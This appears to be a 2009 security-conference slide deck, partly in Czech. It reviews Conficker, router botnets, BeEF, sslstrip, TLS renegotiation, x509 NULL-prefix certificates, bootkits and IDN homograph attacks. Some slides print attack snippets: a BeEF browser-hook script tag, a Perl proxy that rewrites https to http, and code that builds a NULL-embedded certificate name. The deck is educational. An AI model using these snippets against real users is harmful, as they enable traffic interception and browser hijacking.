Everlasting MS DCE - 2009 revival

- 2003 Blaster (DCOM)
  - reversed patch by .pl
  - in a month (MS03-026)
  - **BUSTED !?**

- 2004 Sasser (LSASS)
  - reversed patch by .ru ? .de
  - in a 17 days (MS04-011)
  - **BUSTED !?**

- 2008/2009 Conficker
  - reversed patch by ??
  - in a month or less (MS08-067)
  - organized realtime cyberfight
Conficker - Phase 1 - Spreading

- Conficker.A - offense (Nov 21, 2008)
  - MS08-067
  - selective infection - GeoIP, SystemGetDefaultLang()
  - updates by generated DNS for HTTP RV (250 domains / day)
  - validated updates

- Conficker.B - around the firewalls (Dec 29, 2008)
  - open/weak SMB shares
  - USB Autoruns - sticks, cameras, phones, ... ;)))
  - backdoored patch for MS08-067 for reinfection/updates
  - disable AV - proc kill, block AV DNS

- WANTED - Dead or alive for $250 000 (Feb 12, 2009)

- MS disables autoruns through updates (Feb 25, 2009)
Conficker - Phase 2  - Command and Conq.

- Conficker.C - conquer anything around  
  (Feb 16, 2009)
  - revealing DNS generation algo leads to a new C&C
  - validated *p2p* updates through NetBIOS
    - named pipe, netapi32.dll patch
  - if any host gets update, all LAN host does too

- Conficker.D - hide  
  (Mar 04, 2009)
  - stopped to replicate
  - DNS generation algo for HTTP C&C grows to 50 000/day
  - encrypted & validated p2p C&C over custom protocol
    - runtime updates
    - data storage

- Conficker.E - cashback ?  
  (Mar 07, 2009)
  - spread again
  - install spyware and remove itself (leaving D alone)
Conficker - the state-of-art in malware 09

• Conficker is generic largescale execpad and p2p blob sharing

• Advanced crypto primitives saves the day (OpenSSL)
  ○ RSA 1K > 4K, SHA-1 > MD6 (brand new algo from MIT!!)

• Highly obfuscated, anti-debug, anti-emulation
  ○ indirect API calls, control flow mess, customized calling convention

• Many rootkit abilities
  ○ runs through DLL injection as a thread (CreateRemoteProcess)
  ○ DLL loadlib never exits - it's not officialy registered
  ○ Disable AV sw, blocks AV/updates by DNS hook
  ○ NTFS hide
  ○ In memory runtime patchin, ?micro-length disassembler?

• Internet Rendezvous generation algoritm
  ○ DGA
  ○ P2P protocol without embedded peerlist
Conficker - management summary imho

• MS Genuine Notification and Autorun works very well for everybody

• Doubled subsystems - HA in design
  ○ infection vectors
  ○ spreading threads
  ○ C&C

• CWG monitors over 7M population (Nov 29, 2009)
  ○ Even skilled support would clean it in

\[
\frac{\text{population} \times \text{hrsPerPC}}{\text{hrsPerYear}}
\]

\[
\frac{(7M \times 4)}{8760} = 3196 \text{ Years}
\]
Do you want to know more?

Internet

BGP Cripling
TLS/SSL

Psyb0t - DSL, Embed
Network eavesdropping

Conficker virus
exploited vulnerability

Evil Maid
Stoned Bootkit
Hardware attacks

Beef Browser Abuse
Botnet

Last year - Bodík talked about botnets and predicted steep grow, Conficker comes, but it's old playground Win32
This year - Botnets grow (He was right / aplause please)

Router Botnets: Home DSL, WiFi is just a little plastic box, is it? Well, it is a small comp (CPU mipsel, arm), with TCP/IP embedded. That's enough for spam, DDoS, port scan...

The botnet Psyb0t/bluepill infected 100,000 hosts.
• is the first botnet worm to target routers and DSL modems
• contains shellcode for many mipsel devices
• is not targeting PCs or servers
• uses multiple strategies for exploitation, including brute force username and password combinations
• harvests usernames and passwords through deep packet inspection
• can scan for exploitable phpMyAdmin and MySQL servers
• UDP, TCP, ICMP, URL flooding
Botnet II

Botnet II Beef

Screenshot

Browser Exploitation Framework

10.0.0.10

Details [Hide]
Browser Chrome 3.0.195.21
Operating System Windows NT 5.1
Screen 1440x754 with 32-bit colour
URL http://10.0.0.6/beef/hook/example.php
Cookie BeEFSession=a042a1c1741d38ee3c701f1c0a6d2245

Page Content [Hide] [UNSAFE View Content Content Popup]

Content
<img src="/images/beef.gif" alt="BeEF"> BeEF Test Page<br><br>
<script language="javascript" src="http://10.0.0.6/beef/hook/beefmagic.js.php"></script>

The following code needs to be included in the zombie:

```javascript
&lt;script language='Javascript' src='http://10.0.0.6/beef/hook/beefmagic.js.php'&gt;&lt;/script&gt;
```

Key Logger [Hide]

Keys
Botnet III Darknet

Darknet: Black Hat USA researchers demonstrate a way to use modern browsers to more easily build darknets — underground private Internet communities where users can share content and ideas securely and anonymously. HP's Billy Hoffman and Matt Wood have created Veiled darknet.

Darknet makes the communication possible - with only the browser. The web servers with the Veiled code are just the routers, not the storage!
Do you want to know more??

- Beef Browser Abuse
- Conficker virus
- Exploited vulnerability
- Evil Maid
- Stoned Bootkit
- Hardware attacks
- Psyb0t - DSL, Embed
- Network eavesdropping
- TLS/SSL
- Internet
History of attacks on SSL

• 2002 - thoughtcrime.org/sslsnif
  ○ bad/naive implementation of certificate validation
    ▪ basicConstraints, CA=false, ...
    ▪ valid leaf can sign any other name
  ○ still works with MD5 collisions (Wang, Klima)
sslstrip

- 2009 - thoughtcrime.org/sslstrip
  - SSL starts by
    - click on URL
    - 302 HTTP Redirect
  - Don't let user to start it
    - intercept all traffic in proxy and strip the great "S"

```perl
#!/usr/bin/perl -w

use HTTP::Proxy;
my $proxy = HTTP::Proxy->new( port => 3128, host => '192.168.5.' );
{
  package FilterPerl; use base qw( HTTP::Proxy::BodyFilter );
  sub filter {
    my ( $self, $dataref, $message, $protocol, $buffer ) = @_;
    $dataref =~ s/https/http/g;
  }
}
$proxy->push_filter( response => FilterPerl->new() );
$proxy->start;
```
Moxie's sslstrip

• yes, you need to be in the middle ...
• tool sslstrip does a bit more..
  ○ favico.ico forces positive trigger
  ○ transparently adds SSL when needed
Exploiting this requires the attacker to be able to intercept the traffic. Using one channel to forward client communication, attacker injects HTTP header into SSL stream.

Renegotiation does not invalidates former input. In this case - the attackers.

http://isc.sans.org/diary.html?storyid=7534&rss

SSL bad
TLS – modules, patched

Turn off RENEGO!
TLS Renego

1. TLS Handshake session #1 (client <-> server)
2. Renegotiation is triggered
3. TLS Handshake session #1 continued (client-server) within the encrypted session #2 (attacker-server)
4. Client data is encrypted within session #1 (Green) (The attacker cannot read/manipulate this data), previous data (1.2) prefixed to newly sent client-data

Legend:
- Straight line: Clear text communication
- Dotted line: Encrypted communication
- Green: Client communication
- Red: Attacker data

Attacker holds the packets

Attacker sends application layer commands of his choice
x509 CN NULL prefix attack

• the old story
  ○ sslsniff
    ▪ CA=false ... bugs in validation basicConstraints
  ○ sslstrip
    ▪ attacking bridge between HTTP and HTTPS
    ▪ positive vs negative triggers

• but that's just web ...
• what about bookmarks, ftps, imaps, vpn, ...
  ▪ there are no bridges .... so ?
what is x509 certificate anyway?

- x509
  - it's like an ID or passport ...
    - Version
    - Serial Number
    - Validity
    - Issuer
      - Subject
      - PublicKey
    - SignatureAlgorithm
    - Signature
How x509 is used, how it is created?

- how certificate is used
  - SSL/TLS handshake
    - Client > ClientHello
    - Server > ServerHello, ServerCertificate
  - user's browser compares Subject to address in URL bar
  - ...

- how it is created?
  - back in 2000 - notaries, phone calls, ... uf uf
  - but today .. hoooraaay ;)
    - online domain validation
    - automated process
Online domain validation - PKCS #10

- PKCS #10 - request
  - Version
  - Subject
  - PublicKey
  - Attributes

- CA workflow
  - looks for **Subject** - www.bodik.cz
  - grab the root domain - whatever.i.want.bodik.cz
  - do WHOIS Lookup
    - emails TAN to admin@bodik.cz
x509 Subjects - DistinguishedName

- [http://tools.ietf.org/html/rfc3280#section-4.1.2.6](http://tools.ietf.org/html/rfc3280#section-4.1.2.6)

- DistinguishedName
  - Country
  - State
  - Locale
  - Organization
  - Organizational Unit
  - **Common Name**
    - mostly DNS ...
    - ... but could be really anything
DistinguishedName - CommonName

- Dostálek: Průvodce po galaxiích TCP/IP a DNS

```
commonName ::= SEQUENCE

{ 2 5 4 3 },
StringType ( SIZE( 1...64 ) )
```

... do very big magic here with ASN.1 / BER ...

```
IA5String ::= { ID, Length, data }
```
IA5String vs char[]

• IA5Strings are like Pascal strings

\texttt{9www.bodik.net}

• strings in C are different (char[])
  ◦ NULL - \texttt{\0} - has a special meaning - EOS

\texttt{www.bodik.net\0}
Let's roll ...

- CA workflow
  - looks for **Subject** - www.bodik.cz
  - grab root domain - whatever.i.want.bodik.cz
  - do WHOIS Lookup
    - emails TAN to admin@bodik.cz
Let's roll ...

- CA workflow
  - looks for **Subject** - www.bodik.cz
  - grab root domain - whatever.i.want.bodik.cz
  - do WHOIS Lookup
    - emails TAN to admin@bodik.cz
Let's roll ...

- CA workflow
  - looks for **Subject** - www.bodik.cz
  - grab root domain - whatever.i.want.bodik.cz
  - do WHOIS Lookup
    - emails TAN to admin@bodik.cz

www.bodik.net

hodnej.bodik.net

zlobivej.bodik.net
Let's roll a little bit more ...

- CA workflow
  - looks for **Subject** - www.bodik.cz
  - grab root domain - whatever.i.want.bodik.cz
  - do WHOIS Lookup
    - emails TAN to admin@bodik.cz

- CA will contact bodik.net for confirmation ... hoorayy ..
• Browser workflow
  ◦ Contacts server stated in URL bar of a browser
  ◦ > ClientHello
  ◦ < ServerHello, ServerCertificate
  ◦ Compares URL with Subject char by char in C manner

```c
strcmp(destination, commonName)
```

- www.ales.com
- www.ales.com.bodik.net
... result's in error in validation

- Browsers
  - Firefox, Explorer, Lynx, Curl

- Mail clients
  - Thunderbird, Outlook, Evolution

- IM
  - Pidgin, AIM, irssi, centericq, ...

- SSL VPN
  - AEP, Citrix, ...
MBSTRING_ASC, "UK", -1, -1, 0);
entry_by_txt(name,"CN",
V_ASN1_IA5STRING, "www.seznam.cz\000.bodik.net", 24, -1,

Issuer: C=CZ, ST=doutrkovo, L=doutrkovo, O=doutrkovo,
Validity
Not Before: Dec 3 23:05:09 2009 GMT
Not After: Dec 3 23:05:09 2010 GMT
Subject: C=UK, CN=www.seznam.cz\x00.bodik.net
Subject Public Key Info:
Subject Public Key Algorithm:
SEQUENCE

OBJECT

:commonName.

= 24 prim: IA5S
STRING :w
www.seznam.cz..bodik.net. 221:d=
2 hl=2 l= 92 cons: SEQUENCE
... there are more dragons ...

• wildcard certificates
  ○ *\0.bodik.net

• there's other implementation error
  ○ NSS remote buffer overflow exploit

• OCSP
  ○ defeated by faking OCSP response with TryLater option

• Mozilla/Firefox
  ○ autoupdate feature relies on TLS channel to update server
  ○ updates are/were not signed :((

• Stripping NULL at CA is not a solution
  ○ www.ale\0s.com >> www.ales.com
Dan Kaminsky: ... more more dragons

- x509 is a BIG CRAP ...
- with multiple roots of authority, it's enough to find just one BAD to defeat all this
  - even a smallest one
  - or any intermediate
  - even when anything is fixed
Do you want to know more???
Zase Rutkowska: Evil Maid
(jeden z prvních hackerů, který mimo jiné hacknul svoje tělo)
USB flash disk - boot the laptop - infect. After regular boot, infected laptop stores the last password. Now it is the time to steal the laptop ...

Peter Kleissner: Stoned Bootkit
The Stoned Bootkit is a rootkit that is booted before the main operating system has, and is able to stay and hide itself in memory during execution of the guest operating system. The payload is executed beside the running operating system and comes with the bootkit. Stoned is designed to be operating system independent, it is multiplatform. It currently supports all 32-bit and 64-bit Windows systems and Linux. Infection vectors: USB stick, .exe, PDF exploit (!)
The Payment Card Industry Data Security Standard was created to help organizations that process card payments prevent credit card fraud through increased controls around data and its exposure to compromise.

Big-Box Breach: The Inside Story of Wal-Mart’s Hacker Attack

KIM ZETTER: Wal-Mart was the victim of a serious security breach in 2005 and 2006.

Spain, 2009: Spanish police are investigating a credit card processing company which is believed to be at the centre of the scam. Germany: over 100 000 cards blocked (Volksbank, Raiffeisenbank). Československá obchodní banka (ČSOB) na tuto hrozbu reagovala zablokováním karet vybraným klientům.

Sumedh Thakar, Terry Ramos: PCI Compliance for Dummies
Internation Domain Names allows you to input internet addresses in your own language ....

www.žluťoučkýkůň.eu
www.xn--luoukk-fza0k2w9i6dqh.eu

...or to cover your ass

PAYPAL.COM
PAYPAL.COM
PAYPAL.COM
PAYPAL.COM
PAYPAL.COM = xn--pypal-4ve.COM
PAYPAL.COM = xn--ypal-43d9g.COM
PAYPAL.COM = xn--pal-5cd3fta.COM
PAYPAL.COM = PAYPAL.COM

c co IP adresa: CXLVII. CCXXVIII .I.X
SSL Homograph attack

- don't strip https > replace it
- utf8 in x509 cn vs browser's address bar
- www.domena.cz?id=d2e3.. ...e132312ec.china.cn
- than you can offer perfectly valid *.china.cn certificate
- ie5 (win2k), mozilla 1.6 (linux)
Flashes
(Anti)Viry dnes obzvláště vypečené

• stále oblíbenější trik rhybářů
• v oběhu jich je až 7000
• rhybaří se takto i na facebooku a twitteru
• ... falešné multimediální kodeky ...
PČR a e-rotika ...

- Listopad 2009
- Policie zasáhla proti skupině lidí, kteří si na internetu předávali dětské porno.
- Podezřelých je 160.
- V rámci akce Policie udělala 150 domovních prohlídek, zajistila 342 počítačů a záznamových prostředků.
- Do akce bylo nasazeno 840 policistů.

- Novým trendem se stává dobíjení mobilu za fotky
GhostNet

- 29. března 2009

- But just size of botnet does not matter

- GhostNet
  - Wen Ťia-pao snooping (not only) Dalai Lama

  - embassies: India, South Korea, Indonesia, Romania, Cyprus, Malta, Thailand, Taiwan, Portugal, Germany, Pakistan, Laos

  - foreign ministries: Iran, Bangladesh, Latvia, Indonesia, Philippines, Brunei, Barbados, Bhutan
Sport news
MS 09-002

• prosinec 2008
  ◦ ZDI reportuje MS chybu v IE7 (neveřejně)

• 10. února 2009
  ◦ vydána záplata

• 17. února 2009
  ◦ zachycen malware který chybu zneužíval (CN)

• reversování záplaty trvalo číňanům týden
DJB DNS tinydns (axfrdns) obsahovala nepravděpodobně
zneužitelnou chybu, zahrnující třetí stranu (konfigurace, před
kterou DJB varuje)

Ale stejně! DJB udělal chybu a zaplatil $1000!

Oprava:
- if (dlen <= 128)
+if ((dlen <= 128) && (response_len < 16384))
BC++ Awards 2009
The best DMS product 2009 goes to:

Synopsi nominee

http://www.csob.sk/LoadFile.aspx?fileId=582
The best attack vector 2009 goes to:

www.adobe.com

for rich internet/exploit applications

JavaScript in PDF
and
Adobe Flash
Best BGP peer of 2009:

Single Czech provider announcing a single prefix caused a huge increase in the global rate of updates, peaking at 107,780 updates per-second. With AS path exceeding 255 ASNs. (normal: 4-5 ...)

3 x bug: Configuration typo & MikroTik bug, Cisco bug - CSCsx73770, Insufficient transit provider filtering

Core Internet: ok, but border/small ISP routers busted
The best innovation 2009 goes to:

www.microsoft.com

for inventing and patenting:

sudo

(known to IT SEC professionals since 1980)
A co na to jan třeskač?

- A co Java? Tak velká technologie a tak málo křiku...
- Conficker
  - Perhaps an even greater threat than what they have done so far, is what they have learned and what they will build next...
    - wishmaster?
    - Win32.Induc.A
      - Ken Thompson: Reflections on Trusting Trust
- Kde je IPv6?
- Kde je DNSSEC?
§ 182 Porušení tajemství dopravovaných zpráv
(1) Kdo úmyslně poruší tajemství
b) datové, textové, hlasové, zvukové či obrazové zprávy posílané prostřednictvím sítě elektronických komunikací a přiřaditelné k identifikovanému účastníku nebo uživateli, který zprávu přijímá, nebo

§ 231 Opatření a přechovávání přístupového zařízení a hesla k počítačovému systému a jiných takových dat
(1) Kdo v úmyslu spáchat trestný čin porušení tajemství dopravovaných zpráv podle § 182 ... vyrobí, uvede do oběhu, doveze, vyveze, proveze, nabízí, zprostředkuje, prodá nebo jinak zpřístupní, sobě nebo jinému opatří nebo přechovává a) zařízení nebo jeho součást, postup, nástroj nebo jakýkoli jiný prostředek, včetně počítačového programu,
J XD na hrat
<table>
<thead>
<tr>
<th>Security Advisory</th>
<th>2009</th>
<th>2008</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sun Alerts</td>
<td>216</td>
<td>173</td>
</tr>
<tr>
<td>Debian Security</td>
<td>246</td>
<td>235</td>
</tr>
<tr>
<td>Microsoft</td>
<td>68</td>
<td>69</td>
</tr>
<tr>
<td>Gentoo Linux</td>
<td>151</td>
<td>191</td>
</tr>
<tr>
<td>FreeBSD</td>
<td>167</td>
<td>161</td>
</tr>
<tr>
<td>CVE Candidates</td>
<td>4073</td>
<td>6432</td>
</tr>
</tbody>
</table>
The best hack of 2009 goes to:

www.fpr.zcu.cz

CTRL-A
CTRL-C
CTRL-V